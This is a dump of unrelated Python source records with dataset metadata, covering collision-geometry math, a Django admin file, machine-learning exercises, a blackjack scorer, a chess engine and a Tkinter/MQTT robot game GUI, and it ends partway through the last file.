boxplane[2], boxplane[3], boxplane[4], boxplane[5]\n\n def InBox(self, Hit, B1, B2,Axis):\n if Axis == 1 and Hit.z > B1.z and Hit.z < B2.z and Hit.y > B1.y and Hit.y < B2.y:\n return True\n if Axis == 2 and Hit.z > B1.z and Hit.z < B2.z and Hit.x > B1.x and Hit.x < B2.x:\n return True\n if Axis == 3 and Hit.x > B1.x and Hit.x < B2.x and Hit.y > B1.y and Hit.y < B2.y:\n return True\n return False\n \n def GetLineIntersection(fDst1, fDst2, P1, P2):\n if (fDst1 * fDst2) >= 0:\n return False, Vector3.New()\n if fDst1 == fDst2:\n return False, Vector3.New()\n intersect = P1 + (P2 - P1) * (-fDst1 / (fDst2 - fDst1))\n return True, intersect\n\n def GetLineIntersect(sefl, pos0, pos1):\n intersect = Vector3.New()\n if pos1.x < self.Vertex[0].x and pos0.x < self.Vertex[0].x:\n return False\n if (pos1.x > self.Vertex[1].x and pos0.x > self.Vertex[1].x):\n return False\n if (pos1.y < self.Vertex[0].y and pos0.y < self.Vertex[0].y):\n return False\n if (pos1.y > self.Vertex[1].y and pos0.y > self.Vertex[1].y):\n return False\n if (pos1.z < self.Vertex[0].z and pos0.z < self.Vertex[0].z):\n return False\n if (pos1.z > self.Vertex[1].z and pos0.z > self.Vertex[1].z):\n return False\n \n if pos0.x > self.Vertex[0].x and pos0.x < self.Vertex[1].x and pos0.y > self.Vertex[0].y and pos0.y < self.Vertex[1].y and pos0.z > self.Vertex[0].z and pos0.z < self.Vertex[1].z:\n intersect = pos0\n return True, intersect\n \n if (GetLineIntersection(pos0.x - self.Vertex[0].x, pos1.x - self.Vertex[0].x, pos0, pos1, intersect) and InBox(intersect, self.Vertex[0], self.Vertex[1], 1)) or\\\n (GetLineIntersection(pos0.y - self.Vertex[0].y, pos1.y - self.Vertex[0].y, pos0, pos1, intersect) and InBox(intersect, self.Vertex[0], self.Vertex[1], 2)) or\\\n (GetLineIntersection(pos0.z - self.Vertex[0].z, pos1.z - self.Vertex[0].z, pos0, pos1, intersect) and InBox(intersect, self.Vertex[0], self.Vertex[1], 3)) or\\\n (GetLineIntersection(pos0.x - self.Vertex[1].x, pos1.x - self.Vertex[1].x, pos0, pos1, intersect) and InBox(intersect, self.Vertex[0], self.Vertex[1], 1)) or\\\n (GetLineIntersection(pos0.y - self.Vertex[1].y, pos1.y - self.Vertex[1].y, pos0, pos1, intersect) and InBox(intersect, self.Vertex[0], self.Vertex[1], 2)) or\\\n (GetLineIntersection(pos0.z - self.Vertex[1].z, pos1.z - self.Vertex[1].z, pos0, pos1, intersect) and InBox(intersect, self.Vertex[0], self.Vertex[1], 3)):\n return True, intersect\n \n return False, intersect\n \n # OBB\n # 충돌시 True, 비충돌시 False 반환\n def OBBIntersect(self, arg):\n from Vector3Math import Vector3\n\n\n\n PointsA = [Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New()]\n PointsB = [Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New(), Vector3.New()]\n CenterA = Vector3(0, 0, 0)\n CenterB = Vector3(0, 0, 0)\n \n PointsA[0], PointsA[1], PointsA[2], PointsA[3], PointsA[4], PointsA[5], PointsA[6], PointsA[7] = self.GetVertices()\n PointsB[0], PointsB[1], PointsB[2], PointsB[3], PointsB[4], PointsB[5], PointsB[6], PointsB[7] = arg.GetVertices()\n \n for i in range(0,8):\n CenterA += PointsA[i]\n CenterB += PointsB[i]\n \n #// 중점\n CenterA /= 8\n CenterB /= 8\n \n #// A박스 3개 축\n Ax = PointsA[1] - PointsA[0]\n Ax.Normalize();\n \n Ay = PointsA[2] - PointsA[0]\n Ay.Normalize()\n \n Az = PointsA[4] - PointsA[0]\n Az.Normalize()\n \n #// B박스 3개 축\n Bx = PointsB[1] - PointsB[0]\n Bx.Normalize()\n \n By = PointsB[2] - PointsB[0]\n By.Normalize()\n \n Bz = PointsB[4] - PointsB[0]\n Bz.Normalize()\n \n Wa = (PointsA[1] - PointsA[0]).Length() * 0.5\n Ha = (PointsA[2] - PointsA[0]).Length() * 0.5\n Da = (PointsA[4] - PointsA[0]).Length() * 0.5\n \n Wb = (PointsB[1] - PointsB[0]).Length() * 0.5\n Hb = (PointsB[2] - PointsB[0]).Length() * 0.5\n Db = (PointsB[4] - PointsB[0]).Length() * 0.5\n \n isParallel = False\n \n #// 중점사이의 거리\n T = CenterB - CenterA\n \n cutoff = 0.999999\n \n absC = [[0,0,0], [0,0,0], [0,0,0]]\n c = [[0,0,0], [0,0,0], [0,0,0]]\n d = [0,0,0]\n \n r0 = 0\n r1 = 0\n r = 0\n \n #// 1\n c[0][0] = Ax.Dot(Bx)\n c[0][1] = Ax.Dot(By)\n c[0][2] = Ax.Dot(Bz)\n\n for i in range(0,3):\n absC[0][i] = math.fabs(c[0][i])\n \n if absC[0][i] > cutoff:\n isParallel = True\n \n d[0] = T.Dot(Ax)\n \n r = math.fabs(d[0])\n r0 = Wa\n r1 = Wb * absC[0][0] + Hb * absC[0][1] + Db * absC[0][2]\n if r > r0 + r1:\n return False\n \n #// 2\n c[1][0] = Ay.Dot(Bx)\n c[1][1] = Ay.Dot(By)\n c[1][2] = Ay.Dot(Bz)\n \n for i in range(0,3):\n absC[1][i] = math.fabs(c[1][i])\n if (absC[1][i] > cutoff):\n isParallel = True\n \n d[1] = T.Dot(Ay)\n\n r = math.fabs(d[1])\n r0 = Ha\n r1 = Wb * absC[1][0] + Hb * absC[1][1] + Db * absC[1][2]\n \n if r > r0 + r1:\n return False\n \n #// 3\n c[2][0] = Az.Dot(Bx)\n c[2][1] = Az.Dot(By)\n c[2][2] = Az.Dot(Bz)\n \n for i in range(0,3):\n absC[2][i] = math.fabs(c[2][i])\n \n if absC[2][i] > cutoff:\n isParallel = True\n \n d[2] = T.Dot(Az)\n \n r = math.fabs(d[2])\n r0 = Da\n r1 = Wb * absC[2][0] + Hb * absC[2][1] + Db * absC[2][2]\n \n if r > r0 + r1:\n return False\n \n #// 4\n r = math.fabs(T.Dot(Bx))\n r0 = Wa * absC[0][0] + Ha * absC[1][0] + Da * absC[2][0]\n r1 = Wb\n if r > r0 + r1:\n return False\n \n #// 5\n r = math.fabs(T.Dot(By))\n r0 = Wa * absC[0][1] + Ha * absC[1][1] + Da * absC[2][1]\n r1 = Hb\n if r > r0 + r1:\n return False\n \n #// 6\n r = math.fabs(T.Dot(Bz))\n r0 = Wa * absC[0][2] + Ha * absC[1][2] + Da * absC[2][2]\n r1 = Db\n \n if r > r0 + r1:\n return False\n \n if isParallel == True:\n return True\n \n #// 7\n r = math.fabs(d[2] * c[1][0] - d[1] * c[2][0])\n r0 = Ha * absC[2][0] + Da * absC[1][0]\n r1 = Hb * absC[0][2] + Db * absC[0][1]\n \n if r > r0 + r1:\n return False\n \n #// 8\n r = math.fabs(d[2] * c[1][1] - d[1] * c[2][1])\n r0 = Ha * absC[2][1] + Da * absC[1][1]\n r1 = Wb * absC[0][2] + Db * absC[0][0]\n \n if r > r0 + r1:\n return False\n \n #// 9\n r = math.fabs(d[2] * c[1][2] - d[1] * c[2][2])\n r0 = Ha * absC[2][2] + Da * absC[1][2]\n r1 = Wb * absC[0][1] + Hb * absC[0][0]\n \n if r > r0 + r1:\n return False\n \n #// 10\n r = math.fabs(d[0] * c[2][0] - d[2] * c[0][0])\n r0 = Wa * absC[2][0] + Da * absC[0][0]\n r1 = Hb * absC[1][2] + Db * absC[1][1]\n if r > r0 + r1:\n return False\n \n #// 11\n r = math.fabs(d[0] * c[2][1] - d[2] * c[0][1])\n r0 = Wa * absC[2][1] + Da * absC[0][1]\n r1 = Wb * absC[1][2] + Db * absC[1][0]\n \n if r > r0 + r1:\n return False\n \n #// 12\n r = math.fabs(d[0] * c[2][2] - d[2] * c[0][2])\n r0 = Wa * absC[2][2] + Da * absC[0][2]\n r1 = Wb * absC[1][1] + Hb * absC[1][0]\n \n if r > r0 + r1:\n return False\n \n #// 13\n r = math.fabs(d[1] * c[0][0] - d[0] * c[1][0])\n r0 = Wa * absC[1][0] + Ha * absC[0][0]\n r1 = Hb * absC[2][2] + Db * absC[2][1]\n \n if r > r0 + r1:\n return False\n \n #// 14\n r = math.fabs(d[1] * c[0][1] - d[0] * c[1][1])\n r0 = Wa * absC[1][1] + Ha * absC[0][1]\n r1 = Wb * absC[2][2] + Db * absC[2][0]\n \n if r > r0 + r1:\n return False\n \n #// 15\n r = math.fabs(d[1] * c[0][2] - d[0] * c[1][2])\n r0 = Wa * absC[1][2] + Ha * absC[0][2]\n r1 = Wb * absC[2][1] + Hb * absC[2][0]\n \n if r > r0 + r1:\n return False\n \n return True\n\n\n#main\n\n\n\n\n","sub_path":"bin/enginedata/python/BoundingBoxMath.py","file_name":"BoundingBoxMath.py","file_ext":"py","file_size_in_byte":27586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"137376582","text":"from django.contrib import admin\n\nfrom .models import Publisher, Author, Book, UserProfile, likes\n\n\nclass AuthorAdmin(admin.ModelAdmin):\n\n list_display = ('first_name', 'last_name','email')\n search_fields = ('first_name','last_name')\n\nclass BookAdmin(admin.ModelAdmin):\n\n list_display = ('title', 'publisher', 'publicatin_date','descrp',)\n list_filter = ('publicatin_date',)\n date_hierarchy = 'publicatin_date'\n ordering = ('-publicatin_date',)\n fields = ('title','authors','publisher','publicatin_date',)\n filter_horizontal = ('authors',)\n\n#raw_id_fields = ('publisher',)# we use raw_id_fields , because if we have so many objects in our publisher model our add book may take a while becuse it takes time to load all our publishers and to void this we use an option that is called \" raw_id_fields#\n\n\n\nadmin.site.register(Publisher)\nadmin.site.register(likes)\nadmin.site.register(Author, AuthorAdmin)\nadmin.site.register(Book, BookAdmin)\nadmin.site.register(UserProfile)\n\n\n","sub_path":"djangoproject1/books/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"102275759","text":"from distance import distance_between_rows\nimport random\nfrom row import Row\n\ndef fastMap(rows, non_goal_cols):\n rand = random.randint(0,len(rows)-1)\n #print(\"ROW INDEX: \"+str(rand))\n# bool validIndex = False;\n # choose random row\n randRow = rows[rand]\n #randRow.print_cells()\n list1 = []\n list2 = []\n # find 90th %ile row from it\n for i in range(0,len(rows)):\n dist = distance_between_rows(randRow, rows[i], non_goal_cols)\n # print(dist)\n list1.append(dist)\n list2.append(i)\n zipped_pairs = zip(list1,list2)\n z = [x for _, x in sorted(zipped_pairs)]\n index_90th = round(len(z)*0.9)\n pivot1 = z[index_90th]\n # print(pivot1, end=', ')\n \n list1 = []\n list2 = []\n for i in range(0,len(rows)):\n dist = distance_between_rows(rows[pivot1], rows[i], non_goal_cols)\n list1.append(dist)\n list2.append(i)\n zipped_pairs = zip(list1,list2)\n z = [x for _, x in sorted(zipped_pairs)]\n index_90th = round(len(z)*0.9)\n pivot2 = z[index_90th]\n # print(pivot2, end=', ')\n # print(list1[pivot2])\n \n return pivot1,pivot2,list1[pivot2]\n\n# import math\n# l1 = []\n# l2=[]\n# for i in range(0,10):\n# l1.append(i)\n# print(i)\n# rand = random.random()\n# print(rand)\n# l2.append(rand)\n# print(l1)\n# print(l2)\n\n# zipped_pairs = zip(l2, l1) \n \n# z = [x for _, x in sorted(zipped_pairs)]\n# print(round(256*0.9))\n\n","sub_path":"8/fastmap.py","file_name":"fastmap.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"224315053","text":"from sklearn import datasets\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neural_network import MLPClassifier\nimport numpy as np\nfrom scipy.special import expit as logistic_sigmoid\n\n'''\n\nconfirm.py\n\nThis program replicates the functionality of the MLPRegressor with the identity activation function. I am \ndoing this to ensure that I have a full understanding of the forward pass/prediction of the model.\n\n'''\n\n# load and train\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3)\nnum_inputs = X.shape[1]\nhidden_layers = (2, 2) #10, 10, 10 would be 3 layers of 10\nmodel = MLPClassifier(activation='identity', hidden_layer_sizes=hidden_layers, max_iter=4000, random_state=1)\nmodel.out_activation_ = \"identity\"\nprint (\"out: \" + str(model.out_activation_))\nmodel.fit(X_train, y_train)\npredictions = model.predict(X_test)\nerror = (y_test != predictions).sum()\nprint (\"Trained Neural Network with accuracy of \" + str(100 - (error/len(predictions)))+\".\\n\")\nweights = np.array(model.coefs_)\nbias = np.array(model.intercepts_)\n\nprint (\"weights: \" + str(weights))\nprint (\"bias: \" + str(bias))\nprint (\"out: \" + str(model.out_activation_))\n\nprint (predictions)\n\nprint (\"Confirming forward pass of neural network...\")\ntemp_left_nodes = []\n\nscaler = 1\nerror = 0\n\nprint (predictions)\n\nfor m in range(len(X_test)):\n\t# left_nodes = X_test[i]\n\tleft_nodes = [(x * scaler) for x in X_test[m]]\n\t\n\t#For each layer of weights\n\tfor i in range(weights.shape[0]):\n\t\tfor k in range (weights[i].shape[1]):\n\t\t\tsum = None\n\t\t\t# for each ROW of the matrix\n\t\t\tfor j in range(weights[i].shape[0]):\n\t\t\t\tw = weights[i][j][k]\n\t\t\t\tl = left_nodes[j]\n\t\t\t\tmult = w * l\n\t\t\t\tif sum == None:\n\t\t\t\t\tsum = mult\n\t\t\t\telse:\n\t\t\t\t\tsum = sum + mult\n\t\t\t# add bias\n\t\t\tb = bias[i][k]\n\t\t\tsum = sum + b\n\t\t\ttemp_left_nodes.append(sum)\n\t\t\tsum = None\n\t\tleft_nodes = temp_left_nodes\n\t\tprint (left_nodes)\n\t\ttemp_left_nodes = []\n\t# print (\"diff= \" + str(left_nodes) + \" \" + str(predictions[m]))\n\tif left_nodes.index(max(left_nodes)) != predictions[m]:\n\t\terror += 1\n\nprint (\"Error of \" + str(error) + \"/\" + str(len(X_test)))","sub_path":"confirm.py","file_name":"confirm.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"528819175","text":"# import modules\nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport matplotlib\n\n# Import the excel file and call it xls_file\nimport itertools\nxls_file = pd.ExcelFile('filmmetrics.xlsx')\nsheet_name = xls_file.sheet_names\nprint (sheet_name)\n\nmarker = [\"o\", \"s\", \"p\", \"*\", \"h\", \"+\", \"<\"]\ng = itertools.cycle(marker)\n# Load the xls file's Sheet1 as a dataframe\nfor i in range(0, len(sheet_name)):\n# print(sheet_name[i])\n df = xls_file.parse(sheet_name[i])\n numpyMatrix = df.as_matrix()\n wave_length = numpyMatrix[:,0]\n reflection = numpyMatrix[:,1]\n refractive_index = numpyMatrix[:,2]\n extinction_coefficient = 0\n plt.plot(wave_length, refractive_index, label=sheet_name[i], \n marker = g.__next__(), markevery=30)\n plt.legend(loc=1,prop={'size':10})\n\n\nplt.xlabel(r'$\\mathrm{Wavelength \\ (nm)}$')\nplt.ylabel(r'$\\mathrm{Refractive\\ index\\ (n)} $') \n\n\nparams = {'legend.fontsize': 18,\n 'axes.labelsize': 18,\n 'axes.titlesize': 18,\n 'xtick.labelsize' :12,\n 'ytick.labelsize': 12,\n 'mathtext.fontset': 'cm',\n 'mathtext.rm': 'serif',\n 'grid.color': 'grey',\n 'grid.linestyle': '-',\n 'grid.linewidth': 0.5,\n }\nmatplotlib.rcParams.update(params)\n\n\nplt.tight_layout()\nplt.grid(True)\nplt.savefig('Refractive_indices.tif', dpi=600)\n \n\n\n\n\n \n","sub_path":"refractive-index.py","file_name":"refractive-index.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"651909218","text":"from __future__ import division\nimport numpy as np\n\nSRC_DENSITY = 0.005 # per m^2\nSEARCH_TIME_MAX = 20 # s\nSPEED = 0.5 # m/s\nDT = .1\nAGENT_SEARCH_RADIUS = SEARCH_TIME_MAX * DT\nSRC_POSITIONS = 'random'\n\n# PLUME STRUCTURE PARAMETERS\nPARAMS_PLUME_STRUCTURE = {'r': 0.02,\n 'd': 0.02,\n 'w': 0.5,\n 'threshold': .01,\n 'tau': 24,\n 'q': .0001}\n\n# LOOPING PARAMETERS\nN_ENVIRONMENTS = 300\nTHETAS = np.linspace(-np.pi, np.pi, 33)","sub_path":"scripts/search_linear/config/gaussian_plumes_solid_vary_theta.py","file_name":"gaussian_plumes_solid_vary_theta.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"345561358","text":"from tkinter import *\n#creates GUI\nroot = Tk()\n\nreceipt_detail = []\ntotal_entry = 0\n\n#sets up the size of the profram\nroot.geometry(\"450x400\")\n\n#command to stop the program\ndef quit():\n root.destroy()\n\n#command to append the details\ndef save():\n global receipt_detail,Name,Receipt,Item,Qua,total_entry\n #Gets the data and appends it\n receipt_detail.append([Name.get(),Receipt.get(),Item.get(),Qua.get()]) \n total_entry += 1\n #clears the input boxes \n Name.delete(0,\"end\")\n Receipt.delete(0,\"end\")\n Item.delete(0,\"end\")\n Qua.delete(0,\"end\")\n\n#command to display the appended data\ndef print():\n global total_entry, row_num\n row_num = 0\n #prints the list in order\n while row_num < total_entry:\n Label(root, text=row_num).grid(column=1,row=row_num+10)\n Label(root, text=(receipt_detail[row_num][0])).grid(column=2,row=row_num+10)\n Label(root, text=(receipt_detail[row_num][1])).grid(column=3,row=row_num+10)\n Label(root, text=(receipt_detail[row_num][2])).grid(column=4,row=row_num+10)\n Label(root, text=(receipt_detail[row_num][3])).grid(column=5,row=row_num+10)\n row_num += 1\n\n#command to delete a row\ndef remove():\n global receipt_detail, delete, total_entry, row_num\n #finds the row and deletes it\n del receipt_detail[int(delete.get())]\n total_entry = total_entry - 1\n Label(root,text=\" \").grid(column=1,row=row_num+9) \n Label(root,text=\" \").grid(column=2,row=row_num+9) \n Label(root,text=\" \").grid(column=3,row=row_num+9) \n Label(root,text=\" \").grid(column=4,row=row_num+9) \n Label(root,text=\" \").grid(column=5,row=row_num+9) \n #clears the input box\n delete.delete(0,\"end\")\n #to reprint the new appended list\n print()\n\n#below is the code for the buttons of the program and how they are positioned\nButton (root, text=\"Quit\", command=quit,width=12).grid(column=5, row=2)\nButton (root, text=\"Append Details\", command=save,width=12).grid(column=5, row=4)\nButton(root, text=\"Print Details\",command=print,width=12).grid(column=5,row=5)\nButton(root,text=\"Delete Row\", command=remove,width=12).grid(column=5, row=7)\n\n#creates spacing between the elements \nLabel(root, text=\" \").grid(column=1,row=1)\nLabel(root, text=\" \").grid(column=4,row=2)\nLabel(root, text=\" \").grid(column=5,row=6)\nLabel(root, text=\" \").grid(column=5,row=8)\n\n#for the user's input\nLabel(root, text=\"Name: \").grid(column=2,row=2,sticky=E)\nName=Entry(root)\nName.grid(column=3, row=2)\nLabel(root, text=\"Receipt number: \").grid(column=2,row=3,sticky=E)\nReceipt=Entry(root)\nReceipt.grid(column=3,row=3)\nLabel(root, text=\"Item hired: \").grid(column=2,row=4,sticky=E)\nItem=Entry(root)\nItem.grid(column=3,row=4)\nLabel(root, text=\"Quantity: \").grid(column=2,row=5,sticky=E)\nQua=Entry(root)\nQua.grid(column=3,row=5)\nLabel(root, text=\"Row: \").grid(column=2,row=7,sticky=E)\ndelete=Entry(root)\ndelete.grid(column=3,row=7)\n\n#headings for the data when user prints data\nLabel(root, text=\"Row:\").grid(column=1,row=9)\nLabel(root, text=\"Name:\").grid(column=2,row=9)\nLabel(root, text=\"Receipt number:\").grid(column=3,row=9)\nLabel(root, text=\"Item hired:\").grid(column=4,row=9)\nLabel(root, text=\"Quantity:\").grid(column=5,row=9)\n\nroot.mainloop()","sub_path":"Assessment.py","file_name":"Assessment.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"119215307","text":"\"\"\"\nModule for scoring blackjack hands.\n\nIn blackjack, face cards are worth 10, number cards are worth their value, and Aces\nare worth either 1 or 11, whichever is more advantageous. The latter is what makes\nscoring blackjack so tricky.\n\nIn this module, we assume that a card hand is represented by a tuple of strings, where\neach string is two characters representing a card. The first character is the rank of\nthe card: '2'-'9' for numerical cards, 'T' for 10, 'J' for Jack, 'Q' for Queen, 'K' for\nKing and 'A' for Ace. The second character is the suit: 'H' for hearts, 'D' for diamonds,\n'C' for clubs, and 'S' for spades.\n\nFor example ('KS','AD') is a blackjack hand with the King of Spades and Ace of Diamonds.\n\nAuthor: Richard Hone\nDate: January 5, 2021.\n\"\"\"\nimport introcs\n\n\ndef bjack(hand):\n \"\"\"\n Returns the score of the blackjack hand.\n\n When scoring the hand, number cards are always worth their value and face cards\n (Jack, Queen, King) are always worth 10. However, Aces are either worth 1 or 11,\n which ever is more advantageous.\n\n When determining how to value a hand, the score should be as high as possible without\n going over 21. If the hand is worth more than 21 points, then all Aces should be\n worth 1 point.\n\n Examples:\n bjack(('KS','AD')) returns 21\n bjack(('KS','9C','AD')) returns 20\n bjack(('AS','AC','KH')) returns 12\n bjack(('AS','AC','KH','TD')) returns 22\n bjack(()) returns 0\n\n Parameter hand: the blackjack hand to score\n Precondition: hand is a (possibly empty) tuple of 2-character strings representing\n cards. The first character of each string is '2'-'9', 'T', 'J', 'Q', 'K', or 'A'.\n The second character of each string is 'H', 'D', 'C', or 'S'.\n \"\"\"\n\n # Hint: Keep track of whether you have seen any aces in the hand that are worth 11\n # If so, subtract 10 from the accumulator if you go over.\n # pass\n\n # create an accumulator\n score = 0\n pos = 0\n ace = 0\n face = ('T', 'J', 'Q', 'K')\n\n # we have to extract each elemnet from the tuple, one at a time to evaluate\n\n if hand == ():\n score = 0\n\n else:\n\n while pos < len(hand):\n card = hand[pos]\n val = card[0]\n\n if val in face:\n score += 10\n\n elif val == 'A':\n if score <= 10:\n score += 11\n ace += 1\n else:\n if score < 21 and ace >= 1:\n score -= 9\n else:\n score += 1\n else:\n score += int(val)\n\n pos += 1\n\n return score\n\n\n# we dont really care what the suit is, so ignore the second character\n# only the first character in the tuple element is important in creating a number from it\n\n# set the face cards to 10\n# if the first character in the tuple element is K, Q, J, T the value is 10\n\n# the first A - ace can be either 1 or 11\n# if there is more than one A - ace, the value is 1\n","sub_path":"challenge_probs/exercise3/func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"19438503","text":"from JogoDeTabuleiro.Tabuleiro import Tabuleiro, TabuleiroException\nfrom JogoDeTabuleiro.PecaXadrez import Cores\nfrom JogoDeTabuleiro.Posicao import Posicao\nfrom PartidaDeXadrez.Pecas.Rei import Rei\nfrom PartidaDeXadrez.Pecas.Torre import Torre\n\n\nclass JogoXadrez:\n\n def __init__(self):\n self.tabuleiro = Tabuleiro()\n self.inicializacao_do_jogo()\n self.pecas_capturadas = []\n self.turno = 1\n self.jogador_atual = Cores.BRANCA\n\n def adicionar_nova_peca(self, peca, posicao):\n self.tabuleiro.colocar_peca(peca, posicao)\n\n def realizar_jogada_de_xadrez(self, origem, destino):\n self.validar_posicao_de_destino(origem, destino)\n self.validar_posicao_de_origem(origem)\n peca_capturada= self.realizar_jogada(origem, destino)\n if peca_capturada is not None:\n self.pecas_capturadas.append(peca_capturada)\n self.proximo_turno()\n return peca_capturada\n\n def realizar_jogada(self, origem, destino):\n peca_movida = self.tabuleiro.remover_peca(origem)\n peca_capturada = self.tabuleiro.remover_peca(destino)\n self.adicionar_nova_peca(peca_movida, destino)\n return peca_capturada\n\n def validar_posicao_de_destino(self, origem, destino):\n if not self.tabuleiro.peca(origem).jogada_possivel(destino):\n raise XadrezException(\"A peca escolhida não pode ser mover para a posicão escolhida. \")\n\n def validar_posicao_de_origem(self, origem):\n if not self.tabuleiro.ha_uma_peca_nessa_posicao(origem):\n raise XadrezException(\"Não há uma peca na posicão escolhida. \")\n if self.jogador_atual != self.tabuleiro.peca(origem).COR:\n raise XadrezException(\"A peca escolhida não é sua.\")\n if not self.tabuleiro.peca(origem).ha_alguma_jogada_possivel():\n raise XadrezException(\"Não há movimentos possíveis para a peca escolhida. \")\n\n def jogadas_possiveis(self, posicao):\n self.validar_posicao_de_origem(posicao)\n return self.tabuleiro.peca(posicao).jogadas_possiveis()\n \n def proximo_turno(self):\n self.turno += 1\n if self.jogador_atual == Cores.BRANCA:\n self.jogador_atual = Cores.PRETA\n else:\n self.jogador_atual = Cores.BRANCA\n\n def inicializacao_do_jogo(self):\n self.adicionar_nova_peca(Rei(Posicao(2, 1), Cores.BRANCA,\n self.tabuleiro), Posicao(2, 1))\n\n self.adicionar_nova_peca(Rei(Posicao(1, 2), Cores.PRETA,\n self.tabuleiro), Posicao(1, 2))\n\n self.adicionar_nova_peca(Torre(Posicao(0, 4), Cores.PRETA,\n self.tabuleiro), Posicao(0, 4))\n\n self.adicionar_nova_peca(Torre(Posicao(7, 3), Cores.BRANCA,\n self.tabuleiro), Posicao(7, 3))\n\n self.adicionar_nova_peca(Torre(Posicao(3, 5), Cores.PRETA,\n self.tabuleiro), Posicao(3, 5))\n\n self.adicionar_nova_peca(Torre(Posicao(2, 4), Cores.BRANCA,\n self.tabuleiro), Posicao(2, 4))\n\n self.adicionar_nova_peca(Torre(Posicao(0, 1), Cores.PRETA,\n self.tabuleiro), Posicao(0, 1))\n\n self.adicionar_nova_peca(Torre(Posicao(2, 7), Cores.BRANCA,\n self.tabuleiro), Posicao(2, 7))\n\n\nclass XadrezException(TabuleiroException):\n \"\"\"Responsável por lancar excecões relativas a lógica do jogo de xadrez\"\"\"\n pass\n","sub_path":"PartidaDeXadrez/JogoXadrez.py","file_name":"JogoXadrez.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"597842941","text":"'''\nTemple Run v0.9\n'''\n\nimport tkinter\nfrom tkinter import ttk\nimport mqtt_remote_method_calls as com\n\n\nclass PC_deligate(object):\n def __init__(self, Message_Label):\n self.display_label = Message_Label\n\n\ndef Main_Menu(mqtt_client):\n root = tkinter.Tk()\n root.title('MAIN MENU')\n\n main_frame = ttk.Frame(root,padding=10, relief='raised')\n main_frame.grid()\n\n simpletxt = ttk.Label(main_frame, text=\"Temple Run\")\n simpletxt.grid(row=0)\n\n quit_button = ttk.Button(main_frame, text='Quit')\n quit_button.grid(row=2, column=1)\n quit_button['command'] = lambda: root.destroy()\n\n\n enter_button = ttk.Button(main_frame, text=\"Enter the Temple\")\n enter_button.grid(row=2, column=0)\n enter_button['command'] = lambda: change_to_story(mqtt_client,root)\n\n root.mainloop()\ndef change_to_story(mqtt_client,root):\n\n root.destroy()\n story(mqtt_client)\n\n\n\ndef story(mqtt_client):\n root = tkinter.Tk()\n root.title('Story Time')\n\n main_frame = ttk.Frame(root, padding=50, relief='raised')\n main_frame.grid()\n\n story_text = ttk.Label(root,text= 'The date is 20**, Bitcoin crashed from $22,000 to $15 in two hours and the world'\n ' fell apart into a hell like\\n landscape. Your name is Guy Dangerous and you have'\n ' searched your whole life for an ancient artifact\\nso that he would have enough'\n ' money to pay off the loan he took out to pay for one bitcoin.\\nToday is your lucky'\n 'day you have finaly found a rare artifact that will make you richer than your '\n 'wildest dreams.\\nBut between you and your dreams lies a dangours maze that only a '\n 'robot can get through')\n\n story_text.grid(row=0, column=1)\n\n next_butten = ttk.Button(root, text= 'Next')\n next_butten.grid(row=1, column= 2)\n next_butten['command'] = lambda: to_choose_setting_screen(mqtt_client,root)\n\n Go_back = ttk.Button( root, text = 'Go Back')\n Go_back.grid(row=1,column=0)\n Go_back['command'] = lambda: go_back_to_main(mqtt_client,root)\n\n root.mainloop()\n\ndef go_back_to_main(mqtt_client,root):\n root.destroy()\n Main_Menu(mqtt_client)\n\ndef to_choose_setting_screen(mqtt_client,root):\n root.destroy()\n choose_setting(mqtt_client)\n\ndef choose_setting(mqtt_client):\n root = tkinter.Tk()\n root.title('Instructions')\n\n main_frame = ttk.Frame(root, padding=15, relief='raised')\n main_frame.grid()\n\n more_text = ttk.Label(main_frame, text='Please choose a game mode')\n more_text.grid(row=0)\n\n autonomous_mode = ttk.Button(main_frame, text='Autonomous Mode',padding=20)\n autonomous_mode['command'] = lambda: change_to_autonomous(mqtt_client,root)\n autonomous_mode.grid(row=1)\n\n Manual_drive = ttk.Button(main_frame, text='Manual Challenge',padding=20)\n Manual_drive['command'] = lambda: change_to_manual(mqtt_client,root)\n Manual_drive.grid(row=2)\n\ndef change_to_autonomous(mqtt_client,root):\n root.destroy()\n Autonomous(mqtt_client)\n\ndef change_to_manual(mqtt_client,root):\n root.destroy()\n Manual(mqtt_client)\n\ndef Autonomous(mqtt_client):\n root = tkinter.Tk()\n root.title('Autonomous mode')\n\n main_frame = ttk.Frame(root , padding=50, relief='raised')\n main_frame.grid()\n\n top_text = ttk.Label(main_frame, text='autonomous mode is now enabled\\nplease watch the robot')\n top_text.grid()\n\n mqtt_client.send_message('speak_message',['Looking for clues'])\n mqtt_client.send_message('go_forward', [300, 300])\n mqtt_client.send_message('Searching')\n\n\ndef Manual(mqtt_client):\n root = tkinter.Tk()\n root.title('Manual Robot Control')\n mqtt_client.send_message('start_manual')\n\n main_frame = ttk.Frame(root, padding=50, relief='raised')\n main_frame.grid()\n\n label = ttk.Label(main_frame,text='Manual driving mode')\n label.grid(column=1,row=0)\n\n up_button = 